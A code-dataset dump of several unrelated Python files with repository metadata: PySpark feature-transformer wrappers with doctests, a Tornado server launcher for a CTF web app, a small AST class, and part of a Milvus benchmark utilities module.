class PCA(JavaEstimator, HasInputCol, HasOutputCol): """ .. note:: Experimental PCA trains a model to project vectors to a low-dimensional space using PCA. >>> from pyspark.mllib.linalg import Vectors >>> data = [(Vectors.sparse(5, [(1, 1.0), (3, 7.0)]),), ... (Vectors.dense([2.0, 0.0, 3.0, 4.0, 5.0]),), ... (Vectors.dense([4.0, 0.0, 0.0, 6.0, 7.0]),)] >>> df = sqlContext.createDataFrame(data,["features"]) >>> pca = PCA(k=2, inputCol="features", outputCol="pca_features") >>> model = pca.fit(df) >>> model.transform(df).collect()[0].pca_features DenseVector([1.648..., -4.013...]) """ # a placeholder to make it appear in the generated doc k = Param(Params._dummy(), "k", "the number of principal components") @keyword_only def __init__(self, k=None, inputCol=None, outputCol=None): """ __init__(self, k=None, inputCol=None, outputCol=None) """ super(PCA, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.PCA", self.uid) self.k = Param(self, "k", "the number of principal components") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, k=None, inputCol=None, outputCol=None): """ setParams(self, k=None, inputCol=None, outputCol=None) Set params for this PCA. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setK(self, value): """ Sets the value of :py:attr:`k`. """ self._paramMap[self.k] = value return self def getK(self): """ Gets the value of k or its default value. """ return self.getOrDefault(self.k) def _create_model(self, java_model): return PCAModel(java_model) class PCAModel(JavaModel): """ .. note:: Experimental Model fitted by PCA. """ @inherit_doc class RFormula(JavaEstimator, HasFeaturesCol, HasLabelCol): """ .. note:: Experimental Implements the transforms required for fitting a dataset against an R model formula. Currently we support a limited subset of the R operators, including '~', '+', '-', and '.'. Also see the R formula docs: http://stat.ethz.ch/R-manual/R-patched/library/stats/html/formula.html >>> df = sqlContext.createDataFrame([ ... (1.0, 1.0, "a"), ... (0.0, 2.0, "b"), ... (0.0, 0.0, "a") ... ], ["y", "x", "s"]) >>> rf = RFormula(formula="y ~ x + s") >>> rf.fit(df).transform(df).show() +---+---+---+---------+-----+ | y| x| s| features|label| +---+---+---+---------+-----+ |1.0|1.0| a|[1.0,1.0]| 1.0| |0.0|2.0| b|[2.0,0.0]| 0.0| |0.0|0.0| a|[0.0,1.0]| 0.0| +---+---+---+---------+-----+ ... >>> rf.fit(df, {rf.formula: "y ~ . - s"}).transform(df).show() +---+---+---+--------+-----+ | y| x| s|features|label| +---+---+---+--------+-----+ |1.0|1.0| a| [1.0]| 1.0| |0.0|2.0| b| [2.0]| 0.0| |0.0|0.0| a| [0.0]| 0.0| +---+---+---+--------+-----+ ... """ # a placeholder to make it appear in the generated doc formula = Param(Params._dummy(), "formula", "R model formula") @keyword_only def __init__(self, formula=None, featuresCol="features", labelCol="label"): """ __init__(self, formula=None, featuresCol="features", labelCol="label") """ super(RFormula, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.RFormula", self.uid) self.formula = Param(self, "formula", "R model formula") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, formula=None, featuresCol="features", labelCol="label"): """ setParams(self, formula=None, featuresCol="features", labelCol="label") Sets params for RFormula. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setFormula(self, value): """ Sets the value of :py:attr:`formula`. """ self._paramMap[self.formula] = value return self def getFormula(self): """ Gets the value of :py:attr:`formula`. """ return self.getOrDefault(self.formula) def _create_model(self, java_model): return RFormulaModel(java_model) class RFormulaModel(JavaModel): """ .. note:: Experimental Model fitted by :py:class:`RFormula`. """ if __name__ == "__main__": import doctest from pyspark.context import SparkContext from pyspark.sql import Row, SQLContext globs = globals().copy() # The small batch size here ensures that we see multiple batches, # even in these small test examples: sc = SparkContext("local[2]", "ml.feature tests") sqlContext = SQLContext(sc) globs['sc'] = sc globs['sqlContext'] = sqlContext testData = sc.parallelize([Row(id=0, label="a"), Row(id=1, label="b"), Row(id=2, label="c"), Row(id=3, label="a"), Row(id=4, label="a"), Row(id=5, label="c")], 2) globs['stringIndDf'] = sqlContext.createDataFrame(testData) (failure_count, test_count) = doctest.testmod(globs=globs, optionflags=doctest.ELLIPSIS) sc.stop() if failure_count: exit(-1)

37.206592

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import sys if sys.version > '3': basestring = str from pyspark.rdd import ignore_unicode_prefix from pyspark.ml.param.shared import * from pyspark.ml.util import keyword_only from pyspark.ml.wrapper import JavaEstimator, JavaModel, JavaTransformer, _jvm from pyspark.mllib.common import inherit_doc from pyspark.mllib.linalg import _convert_to_vector __all__ = ['Binarizer', 'Bucketizer', 'DCT', 'ElementwiseProduct', 'HashingTF', 'IDF', 'IDFModel', 'IndexToString', 'NGram', 'Normalizer', 'OneHotEncoder', 'PCA', 'PCAModel', 'PolynomialExpansion', 'RegexTokenizer', 'RFormula', 'RFormulaModel', 'SQLTransformer', 'StandardScaler', 'StandardScalerModel', 'StopWordsRemover', 'StringIndexer', 'StringIndexerModel', 'Tokenizer', 'VectorAssembler', 'VectorIndexer', 'VectorSlicer', 'Word2Vec', 'Word2VecModel'] @inherit_doc class Binarizer(JavaTransformer, HasInputCol, HasOutputCol): threshold = Param(Params._dummy(), "threshold", "threshold in binary classification prediction, in range [0, 1]") @keyword_only def __init__(self, threshold=0.0, inputCol=None, outputCol=None): super(Binarizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Binarizer", self.uid) self.threshold = Param(self, "threshold", "threshold in binary classification prediction, in range [0, 1]") self._setDefault(threshold=0.0) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, threshold=0.0, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setThreshold(self, value): self._paramMap[self.threshold] = value return self def getThreshold(self): return self.getOrDefault(self.threshold) @inherit_doc class Bucketizer(JavaTransformer, HasInputCol, HasOutputCol): splits = \ Param(Params._dummy(), "splits", "Split points for mapping continuous features into buckets. With n+1 splits, " + "there are n buckets. A bucket defined by splits x,y holds values in the " + "range [x,y) except the last bucket, which also includes y. The splits " + "should be strictly increasing. Values at -inf, inf must be explicitly " + "provided to cover all Double values; otherwise, values outside the splits " + "specified will be treated as errors.") @keyword_only def __init__(self, splits=None, inputCol=None, outputCol=None): super(Bucketizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Bucketizer", self.uid) self.splits = \ Param(self, "splits", "Split points for mapping continuous features into buckets. With n+1 splits, " + "there are n buckets. A bucket defined by splits x,y holds values in the " + "range [x,y) except the last bucket, which also includes y. The splits " + "should be strictly increasing. Values at -inf, inf must be explicitly " + "provided to cover all Double values; otherwise, values outside the splits " + "specified will be treated as errors.") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, splits=None, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setSplits(self, value): self._paramMap[self.splits] = value return self def getSplits(self): return self.getOrDefault(self.splits) @inherit_doc class DCT(JavaTransformer, HasInputCol, HasOutputCol): inverse = Param(Params._dummy(), "inverse", "Set transformer to perform inverse DCT, " + "default False.") @keyword_only def __init__(self, inverse=False, inputCol=None, outputCol=None): super(DCT, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.DCT", self.uid) self.inverse = Param(self, "inverse", "Set transformer to perform inverse DCT, " + "default False.") self._setDefault(inverse=False) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inverse=False, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setInverse(self, value): self._paramMap[self.inverse] = value return self def getInverse(self): return self.getOrDefault(self.inverse) @inherit_doc class ElementwiseProduct(JavaTransformer, HasInputCol, HasOutputCol): scalingVec = Param(Params._dummy(), "scalingVec", "vector for hadamard product, " + "it must be MLlib Vector type.") @keyword_only def __init__(self, scalingVec=None, inputCol=None, outputCol=None): super(ElementwiseProduct, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.ElementwiseProduct", self.uid) self.scalingVec = Param(self, "scalingVec", "vector for hadamard product, " + "it must be MLlib Vector type.") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, scalingVec=None, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setScalingVec(self, value): self._paramMap[self.scalingVec] = value return self def getScalingVec(self): return self.getOrDefault(self.scalingVec) @inherit_doc class HashingTF(JavaTransformer, HasInputCol, HasOutputCol, HasNumFeatures): @keyword_only def __init__(self, numFeatures=1 << 18, inputCol=None, outputCol=None): super(HashingTF, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.HashingTF", self.uid) self._setDefault(numFeatures=1 << 18) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, numFeatures=1 << 18, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) @inherit_doc class IDF(JavaEstimator, HasInputCol, HasOutputCol): minDocFreq = Param(Params._dummy(), "minDocFreq", "minimum of documents in which a term should appear for filtering") @keyword_only def __init__(self, minDocFreq=0, inputCol=None, outputCol=None): super(IDF, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.IDF", self.uid) self.minDocFreq = Param(self, "minDocFreq", "minimum of documents in which a term should appear for filtering") self._setDefault(minDocFreq=0) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, minDocFreq=0, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setMinDocFreq(self, value): self._paramMap[self.minDocFreq] = value return self def getMinDocFreq(self): return self.getOrDefault(self.minDocFreq) def _create_model(self, java_model): return IDFModel(java_model) class IDFModel(JavaModel): @inherit_doc @ignore_unicode_prefix class NGram(JavaTransformer, HasInputCol, HasOutputCol): n = Param(Params._dummy(), "n", "number of elements per n-gram (>=1)") @keyword_only def __init__(self, n=2, inputCol=None, outputCol=None): super(NGram, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.NGram", self.uid) self.n = Param(self, "n", "number of elements per n-gram (>=1)") self._setDefault(n=2) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, n=2, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setN(self, value): self._paramMap[self.n] = value return self def getN(self): return self.getOrDefault(self.n) @inherit_doc class Normalizer(JavaTransformer, HasInputCol, HasOutputCol): p = Param(Params._dummy(), "p", "the p norm value.") @keyword_only def __init__(self, p=2.0, inputCol=None, outputCol=None): super(Normalizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Normalizer", self.uid) self.p = Param(self, "p", "the p norm value.") self._setDefault(p=2.0) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, p=2.0, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setP(self, value): self._paramMap[self.p] = value return self def getP(self): return self.getOrDefault(self.p) @inherit_doc class OneHotEncoder(JavaTransformer, HasInputCol, HasOutputCol): dropLast = Param(Params._dummy(), "dropLast", "whether to drop the last category") @keyword_only def __init__(self, dropLast=True, inputCol=None, outputCol=None): super(OneHotEncoder, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.OneHotEncoder", self.uid) self.dropLast = Param(self, "dropLast", "whether to drop the last category") self._setDefault(dropLast=True) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, dropLast=True, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setDropLast(self, value): self._paramMap[self.dropLast] = value return self def getDropLast(self): return self.getOrDefault(self.dropLast) @inherit_doc class PolynomialExpansion(JavaTransformer, HasInputCol, HasOutputCol): degree = Param(Params._dummy(), "degree", "the polynomial degree to expand (>= 1)") @keyword_only def __init__(self, degree=2, inputCol=None, outputCol=None): super(PolynomialExpansion, self).__init__() self._java_obj = self._new_java_obj( "org.apache.spark.ml.feature.PolynomialExpansion", self.uid) self.degree = Param(self, "degree", "the polynomial degree to expand (>= 1)") self._setDefault(degree=2) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, degree=2, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setDegree(self, value): self._paramMap[self.degree] = value return self def getDegree(self): return self.getOrDefault(self.degree) @inherit_doc @ignore_unicode_prefix class RegexTokenizer(JavaTransformer, HasInputCol, HasOutputCol): minTokenLength = Param(Params._dummy(), "minTokenLength", "minimum token length (>= 0)") gaps = Param(Params._dummy(), "gaps", "whether regex splits on gaps (True) or matches tokens") pattern = Param(Params._dummy(), "pattern", "regex pattern (Java dialect) used for tokenizing") @keyword_only def __init__(self, minTokenLength=1, gaps=True, pattern="\\s+", inputCol=None, outputCol=None): super(RegexTokenizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.RegexTokenizer", self.uid) self.minTokenLength = Param(self, "minTokenLength", "minimum token length (>= 0)") self.gaps = Param(self, "gaps", "whether regex splits on gaps (True) or matches tokens") self.pattern = Param(self, "pattern", "regex pattern (Java dialect) used for tokenizing") self._setDefault(minTokenLength=1, gaps=True, pattern="\\s+") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, minTokenLength=1, gaps=True, pattern="\\s+", inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setMinTokenLength(self, value): self._paramMap[self.minTokenLength] = value return self def getMinTokenLength(self): return self.getOrDefault(self.minTokenLength) def setGaps(self, value): self._paramMap[self.gaps] = value return self def getGaps(self): return self.getOrDefault(self.gaps) def setPattern(self, value): self._paramMap[self.pattern] = value return self def getPattern(self): return self.getOrDefault(self.pattern) @inherit_doc class SQLTransformer(JavaTransformer): statement = Param(Params._dummy(), "statement", "SQL statement") @keyword_only def __init__(self, statement=None): super(SQLTransformer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.SQLTransformer", self.uid) self.statement = Param(self, "statement", "SQL statement") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, statement=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setStatement(self, value): self._paramMap[self.statement] = value return self def getStatement(self): return self.getOrDefault(self.statement) @inherit_doc class StandardScaler(JavaEstimator, HasInputCol, HasOutputCol): withMean = Param(Params._dummy(), "withMean", "Center data with mean") withStd = Param(Params._dummy(), "withStd", "Scale to unit standard deviation") @keyword_only def __init__(self, withMean=False, withStd=True, inputCol=None, outputCol=None): super(StandardScaler, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.StandardScaler", self.uid) self.withMean = Param(self, "withMean", "Center data with mean") self.withStd = Param(self, "withStd", "Scale to unit standard deviation") self._setDefault(withMean=False, withStd=True) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, withMean=False, withStd=True, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setWithMean(self, value): self._paramMap[self.withMean] = value return self def getWithMean(self): return self.getOrDefault(self.withMean) def setWithStd(self, value): self._paramMap[self.withStd] = value return self def getWithStd(self): return self.getOrDefault(self.withStd) def _create_model(self, java_model): return StandardScalerModel(java_model) class StandardScalerModel(JavaModel): @property def std(self): return self._call_java("std") @property def mean(self): return self._call_java("mean") @inherit_doc class StringIndexer(JavaEstimator, HasInputCol, HasOutputCol): @keyword_only def __init__(self, inputCol=None, outputCol=None): super(StringIndexer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.StringIndexer", self.uid) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def _create_model(self, java_model): return StringIndexerModel(java_model) class StringIndexerModel(JavaModel): @property def labels(self): return self._java_obj.labels @inherit_doc class IndexToString(JavaTransformer, HasInputCol, HasOutputCol): labels = Param(Params._dummy(), "labels", "Optional array of labels to be provided by the user, if not supplied or " + "empty, column metadata is read for labels") @keyword_only def __init__(self, inputCol=None, outputCol=None, labels=None): super(IndexToString, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.IndexToString", self.uid) self.labels = Param(self, "labels", "Optional array of labels to be provided by the user, if not " + "supplied or empty, column metadata is read for labels") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, labels=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setLabels(self, value): self._paramMap[self.labels] = value return self def getLabels(self): return self.getOrDefault(self.labels) class StopWordsRemover(JavaTransformer, HasInputCol, HasOutputCol): stopWords = Param(Params._dummy(), "stopWords", "The words to be filtered out") caseSensitive = Param(Params._dummy(), "caseSensitive", "whether to do a case sensitive " + "comparison over the stop words") @keyword_only def __init__(self, inputCol=None, outputCol=None, stopWords=None, caseSensitive=False): super(StopWordsRemover, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.StopWordsRemover", self.uid) self.stopWords = Param(self, "stopWords", "The words to be filtered out") self.caseSensitive = Param(self, "caseSensitive", "whether to do a case " + "sensitive comparison over the stop words") stopWordsObj = _jvm().org.apache.spark.ml.feature.StopWords defaultStopWords = stopWordsObj.English() self._setDefault(stopWords=defaultStopWords) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, stopWords=None, caseSensitive=False): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setStopWords(self, value): self._paramMap[self.stopWords] = value return self def getStopWords(self): return self.getOrDefault(self.stopWords) def setCaseSensitive(self, value): self._paramMap[self.caseSensitive] = value return self def getCaseSensitive(self): return self.getOrDefault(self.caseSensitive) @inherit_doc @ignore_unicode_prefix class Tokenizer(JavaTransformer, HasInputCol, HasOutputCol): @keyword_only def __init__(self, inputCol=None, outputCol=None): super(Tokenizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Tokenizer", self.uid) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) @inherit_doc class VectorAssembler(JavaTransformer, HasInputCols, HasOutputCol): @keyword_only def __init__(self, inputCols=None, outputCol=None): super(VectorAssembler, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.VectorAssembler", self.uid) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCols=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) @inherit_doc class VectorIndexer(JavaEstimator, HasInputCol, HasOutputCol): maxCategories = Param(Params._dummy(), "maxCategories", "Threshold for the number of values a categorical feature can take " + "(>= 2). If a feature is found to have > maxCategories values, then " + "it is declared continuous.") @keyword_only def __init__(self, maxCategories=20, inputCol=None, outputCol=None): super(VectorIndexer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.VectorIndexer", self.uid) self.maxCategories = Param(self, "maxCategories", "Threshold for the number of values a categorical feature " + "can take (>= 2). If a feature is found to have " + "> maxCategories values, then it is declared continuous.") self._setDefault(maxCategories=20) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, maxCategories=20, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setMaxCategories(self, value): self._paramMap[self.maxCategories] = value return self def getMaxCategories(self): return self.getOrDefault(self.maxCategories) def _create_model(self, java_model): return VectorIndexerModel(java_model) class VectorIndexerModel(JavaModel): @inherit_doc class VectorSlicer(JavaTransformer, HasInputCol, HasOutputCol): indices = Param(Params._dummy(), "indices", "An array of indices to select features from " + "a vector column. There can be no overlap with names.") names = Param(Params._dummy(), "names", "An array of feature names to select features from " + "a vector column. These names must be specified by ML " + "org.apache.spark.ml.attribute.Attribute. There can be no overlap with " + "indices.") @keyword_only def __init__(self, inputCol=None, outputCol=None, indices=None, names=None): super(VectorSlicer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.VectorSlicer", self.uid) self.indices = Param(self, "indices", "An array of indices to select features from " + "a vector column. There can be no overlap with names.") self.names = Param(self, "names", "An array of feature names to select features from " + "a vector column. These names must be specified by ML " + "org.apache.spark.ml.attribute.Attribute. There can be no overlap " + "with indices.") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inputCol=None, outputCol=None, indices=None, names=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setIndices(self, value): self._paramMap[self.indices] = value return self def getIndices(self): return self.getOrDefault(self.indices) def setNames(self, value): self._paramMap[self.names] = value return self def getNames(self): return self.getOrDefault(self.names) @inherit_doc @ignore_unicode_prefix class Word2Vec(JavaEstimator, HasStepSize, HasMaxIter, HasSeed, HasInputCol, HasOutputCol): vectorSize = Param(Params._dummy(), "vectorSize", "the dimension of codes after transforming from words") numPartitions = Param(Params._dummy(), "numPartitions", "number of partitions for sentences of words") minCount = Param(Params._dummy(), "minCount", "the minimum number of times a token must appear to be included in the " + "word2vec model's vocabulary") @keyword_only def __init__(self, vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None, inputCol=None, outputCol=None): super(Word2Vec, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Word2Vec", self.uid) self.vectorSize = Param(self, "vectorSize", "the dimension of codes after transforming from words") self.numPartitions = Param(self, "numPartitions", "number of partitions for sentences of words") self.minCount = Param(self, "minCount", "the minimum number of times a token must appear to be included " + "in the word2vec model's vocabulary") self._setDefault(vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, vectorSize=100, minCount=5, numPartitions=1, stepSize=0.025, maxIter=1, seed=None, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setVectorSize(self, value): self._paramMap[self.vectorSize] = value return self def getVectorSize(self): return self.getOrDefault(self.vectorSize) def setNumPartitions(self, value): self._paramMap[self.numPartitions] = value return self def getNumPartitions(self): return self.getOrDefault(self.numPartitions) def setMinCount(self, value): self._paramMap[self.minCount] = value return self def getMinCount(self): return self.getOrDefault(self.minCount) def _create_model(self, java_model): return Word2VecModel(java_model) class Word2VecModel(JavaModel): def getVectors(self): return self._call_java("getVectors") def findSynonyms(self, word, num): if not isinstance(word, basestring): word = _convert_to_vector(word) return self._call_java("findSynonyms", word, num) @inherit_doc class PCA(JavaEstimator, HasInputCol, HasOutputCol): k = Param(Params._dummy(), "k", "the number of principal components") @keyword_only def __init__(self, k=None, inputCol=None, outputCol=None): super(PCA, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.PCA", self.uid) self.k = Param(self, "k", "the number of principal components") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, k=None, inputCol=None, outputCol=None): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setK(self, value): self._paramMap[self.k] = value return self def getK(self): return self.getOrDefault(self.k) def _create_model(self, java_model): return PCAModel(java_model) class PCAModel(JavaModel): @inherit_doc class RFormula(JavaEstimator, HasFeaturesCol, HasLabelCol): formula = Param(Params._dummy(), "formula", "R model formula") @keyword_only def __init__(self, formula=None, featuresCol="features", labelCol="label"): super(RFormula, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.RFormula", self.uid) self.formula = Param(self, "formula", "R model formula") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, formula=None, featuresCol="features", labelCol="label"): kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setFormula(self, value): self._paramMap[self.formula] = value return self def getFormula(self): return self.getOrDefault(self.formula) def _create_model(self, java_model): return RFormulaModel(java_model) class RFormulaModel(JavaModel): if __name__ == "__main__": import doctest from pyspark.context import SparkContext from pyspark.sql import Row, SQLContext globs = globals().copy() sc = SparkContext("local[2]", "ml.feature tests") sqlContext = SQLContext(sc) globs['sc'] = sc globs['sqlContext'] = sqlContext testData = sc.parallelize([Row(id=0, label="a"), Row(id=1, label="b"), Row(id=2, label="c"), Row(id=3, label="a"), Row(id=4, label="a"), Row(id=5, label="c")], 2) globs['stringIndDf'] = sqlContext.createDataFrame(testData) (failure_count, test_count) = doctest.testmod(globs=globs, optionflags=doctest.ELLIPSIS) sc.stop() if failure_count: exit(-1)

true

1c4234b59d2bb634497dd779d5c0cfcece2d0d7f

315

py

Python

run.py

andreafioraldi/ascii-ctf

d1ca4e7826cb5a0fe4600cdd769d35eecd0125d0

[ "BSD-2-Clause" ]

8

2019-03-20T09:11:24.000Z

2021-12-04T21:42:57.000Z

run.py

andreafioraldi/ascii-ctf

d1ca4e7826cb5a0fe4600cdd769d35eecd0125d0

[ "BSD-2-Clause" ]

null

run.py

andreafioraldi/ascii-ctf

d1ca4e7826cb5a0fe4600cdd769d35eecd0125d0

[ "BSD-2-Clause" ]

3

2019-05-18T06:56:34.000Z

2021-12-23T13:45:52.000Z

from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop from ascii_ctf import app import os http_server = HTTPServer(WSGIContainer(app)) http_server.listen(5000 if os.getenv("PORT") is None else int(os.getenv("PORT")),'0.0.0.0') IOLoop.instance().start()

31.5

91

0.793651

from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop from ascii_ctf import app import os http_server = HTTPServer(WSGIContainer(app)) http_server.listen(5000 if os.getenv("PORT") is None else int(os.getenv("PORT")),'0.0.0.0') IOLoop.instance().start()

true

1c423684b4b593f020b9926639ad1cddd04c6111

1,387

py

Python

playground/abstract/abs_ast.py

drew-loukusa/lang-playground

16e64001444f9cb20bc24228ea6588811e96eea0

[ "MIT" ]

null

playground/abstract/abs_ast.py

drew-loukusa/lang-playground

16e64001444f9cb20bc24228ea6588811e96eea0

[ "MIT" ]

null

playground/abstract/abs_ast.py

drew-loukusa/lang-playground

16e64001444f9cb20bc24228ea6588811e96eea0

[ "MIT" ]

null

class AST: def __init__(self, token=None, artificial=False, name=None): self.name = ( name # Artificial nodes won't have any "token_text", so give them a name ) self.token = token # From which token did we create node? self.children = [] # normalized list of AST nodes self.artificial = artificial def is_none(self): return self.token is None def add_child(self, t): self.children.append(t) def add_children(self, *children): for child in children: self.children.append(child) def __repr__(self): token = str(self.token) if self.token is not None else None artificial = self.name + " " if self.name is not None else None token_info = None if self.artificial: token_info = "ARTIFICIAL - " + artificial else: token_info = token ast_rep = f"<PG_AST: {token_info}>" return ast_rep def to_string_tree(self, tab=0): if len(self.children) == 0: print("| " * tab + str(self)) return if not self.is_none(): print("| " * tab + f"{self}") elif self.is_none() and self.artificial: print("| " * tab + f"{self}") for child in self.children: if child != None: child.to_string_tree(tab + 1)

30.152174

85

0.55876

class AST: def __init__(self, token=None, artificial=False, name=None): self.name = ( name ) self.token = token # From which token did we create node? self.children = [] # normalized list of AST nodes self.artificial = artificial def is_none(self): return self.token is None def add_child(self, t): self.children.append(t) def add_children(self, *children): for child in children: self.children.append(child) def __repr__(self): token = str(self.token) if self.token is not None else None artificial = self.name + " " if self.name is not None else None token_info = None if self.artificial: token_info = "ARTIFICIAL - " + artificial else: token_info = token ast_rep = f"<PG_AST: {token_info}>" return ast_rep def to_string_tree(self, tab=0): if len(self.children) == 0: print("| " * tab + str(self)) return if not self.is_none(): print("| " * tab + f"{self}") elif self.is_none() and self.artificial: print("| " * tab + f"{self}") for child in self.children: if child != None: child.to_string_tree(tab + 1)

true

1c4236b5748bbe5e651eeeafccab2cbb7c42f1db

7,836

py

Python

tests/benchmark/milvus_benchmark/utils.py

haorenfsa/milvus

d8bab0cd21ce3d76576b4f75f76e1224bb1b5548

[ "Apache-2.0" ]

null

tests/benchmark/milvus_benchmark/utils.py

haorenfsa/milvus

d8bab0cd21ce3d76576b4f75f76e1224bb1b5548

[ "Apache-2.0" ]

null

tests/benchmark/milvus_benchmark/utils.py

haorenfsa/milvus

d8bab0cd21ce3d76576b4f75f76e1224bb1b5548

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import time import logging import string import random import json import os from yaml.representer import SafeRepresenter # from yaml import full_load, dump import yaml import tableprint as tp # from pprint import pprint import config logger = logging.getLogger("milvus_benchmark.utils") def timestr_to_int(time_str): """ Parse the test time set in the yaml configuration file and convert it to int type """ # time_int = 0 if isinstance(time_str, int) or time_str.isdigit(): time_int = int(time_str) elif time_str.endswith("s"): time_int = int(time_str.split("s")[0]) elif time_str.endswith("m"): time_int = int(time_str.split("m")[0]) * 60 elif time_str.endswith("h"): time_int = int(time_str.split("h")[0]) * 60 * 60 else: raise Exception("%s not support" % time_str) return time_int class literal_str(str): pass def change_style(style, representer): def new_representer(dumper, data): scalar = representer(dumper, data) scalar.style = style return scalar return new_representer # from yaml.representer import SafeRepresenter # represent_str does handle some corner cases, so use that # instead of calling represent_scalar directly represent_literal_str = change_style('|', SafeRepresenter.represent_str) yaml.add_representer(literal_str, represent_literal_str) def retry(times): """ This decorator prints the execution time for the decorated function. """ def wrapper(func): def newfn(*args, **kwargs): attempt = 0 while attempt < times: try: result = func(*args, **kwargs) if result: break else: raise Exception("Result false") except Exception as e: logger.info(str(e)) time.sleep(3) attempt += 1 return result return newfn return wrapper def convert_nested(dct): def insert(dct, lst): for x in lst[:-2]: dct[x] = dct = dct.get(x, dict()) dct.update({lst[-2]: lst[-1]}) # empty dict to store the result result = dict() # create an iterator of lists # representing nested or hierarchial flow lsts = ([*k.split("."), v] for k, v in dct.items()) # insert each list into the result for lst in lsts: insert(result, lst) return result def 